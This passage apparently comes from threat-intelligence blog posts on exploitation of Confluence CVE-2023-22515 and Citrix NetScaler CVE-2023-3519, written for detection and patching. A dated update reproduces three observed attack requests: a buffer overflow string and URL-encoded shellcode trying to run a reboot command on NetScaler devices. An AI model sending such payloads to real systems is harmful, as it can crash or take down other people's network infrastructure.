Through the lens of “exploit-ability” in practical deployments of curl, few could be remotely triggered. After significant research, the GreyNoise Labs team was able to identify one such configuration scenario that we would be able to track and have created a tag for detecting it. In the unlikely event that more vulnerable-in-practice applications come to light in the coming days, the tag will be updated to capture the associated traffic.
A critical zero-day vulnerability has recently been discovered in the Confluence Data Center and Server.
The vulnerability, known as CVE-2023-22515 and scored a CVSS 10 out of 10, is a privilege escalation vulnerability that allows external attackers to exploit the system and create administrator accounts that can be used to access Confluence instances.
Atlassian, the company that produces Confluence, rates this vulnerability as 'critical' and has released patches for it. On-premise instances of Confluence on the public internet are at risk as this vulnerability is exploitable anonymously. Atlassian has stated that cloud-hosted versions of Confluence are not impacted, but it is unclear if they were vulnerable before the patch. Atlassian also has published an FAQ for this vulnerability.
We recommend immediately upgrading to the latest patched version, especially if you use an exposed or internet-facing Confluence instance. Since exploitation was observed before the advisory and patch were issued, organizations should audit user accounts and signs of compromise. As a standard practice, you should also restrict network access to any Confluence instance.
GreyNoise has published a tag monitoring for CVE-2023-22515 exploitation attempts.
If you’re curious about viewing scanning activity related to the “/setup/setupadministrator.action” web path, you can view that here; and if you’re curious about IPs that are searching for any ”setup*.action” web paths, you can view that here.
(See below for the most recent update: 2023-08-03)
Citrix recently disclosed a single critical remote code execution (RCE) vulnerability, CVE-2023-3519, affecting NetScaler ADC and NetScaler Gateway (now known as Citrix ADC and Citrix Gateway. This vulnerability has a CVSS score of 9.8, making it a high-risk issue.
Over the past several days, numerous organizations have contributed their pieces of the puzzle, both publicly and privately. While the most recent Citrix Security Advisory identifies CVE-2023-3519 as the only vulnerability resulting in unauthenticated remote code execution, there are at least two vulnerabilities that were patched during the most recent version upgrade.
Through the analysis by Rapid 7 and AssetNote a memory corruption vulnerability was discovered in the ns_aaa_saml_parse_authn_request function that handles Security Assertion Markup Language (SAML), which can be reached through HTTP POST requests to “/saml/login”. This vulnerability has been demonstrated to corrupt memory and cause program crashes, but it is unknown whether it can be leveraged for remote code execution at this time.
Through the analysis by Bishop Fox’s Capabilities Development team together with GreyNoise a memory corruption vulnerability was identified in the ns_aaa_gwtest_get_event_and_target_names function. This function can be reached through HTTP GET requests to “/gwtest/formssso”. This vulnerability was demonstrated as capable of being leveraged for stack corruption, leading to remote code execution; and, was further corroborated by AssetNote’s Part 2 Analysis.
Through analysis from Mandiant some indications of compromise (IoCs) and post-exploitation activity are now known. As part of their provided IoCs they shared that an HTTP POST request was used in initial exploitation as well as HTTP payloads containing “pwd;pwd;pwd;pwd;pwd;” which may be useful for writing detection signatures.
2023-08-03 Update
On July 28th GreyNoise began observing activity — https://viz.greynoise.io/tag/citrix-adc-netscaler-cve-2023-3519-rce-attempt?days=30 — for CVE-2023-3519 wherein the attacker was attempting to leverage the vulnerability for memory corruption. An initial analysis of the observed payloads indicates that the attacker initially sends a payload containing 262 `A`'s which would result in a crash of the Citrix Netscaler `nsppe` program. They follow up with two variants using URL Encoded values and appear to be attempting to remotely execute the command `/bin/sh -c reboot` which would result in a full reboot in the system. However, it appears that the attacker may not be aware of the CPU endianness of vulnerable systems. The payloads they are attempting to send would result in memory corruption, but would not result in remote code execution as they expected. This would result in the `nsppe` program crashing.
The observed payloads are provided below for completeness.
GET /gwtest/formssso?event=start&target=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA HTTP/1.1
Host: :2375
Accept: */*
User-Agent: curl/7.29.0
GET /gwtest/formssso?event=start&target=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%F0%C1%FF%FF%FF%7F%00%00CCCCCCCCDDDDDDDD%99Rhn%2Fshh%2F%2Fbih%20-c%20h%22rebhoot%22%89%E3QRSSj%3BX%CD%80 HTTP/1.1
Host: :2375
Accept: */*
User-Agent: curl/7.29.0
GET /gwtest/formssso?event=start&target=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%F0%C1%FF%FF%FF%7F%00%00CCCCCCCCDDDDDDDD%99Rhn%2Fshh%2F%2Fbih%20-c%20h%22rebhoot%22%89%E3QRSSj%3BX%CD%80 HTTP/1.1
Host: :2375
Accept: */*
User-Agent: curl/7.29.0
.png)
.png)
.png)
.png)
.png)
.png)
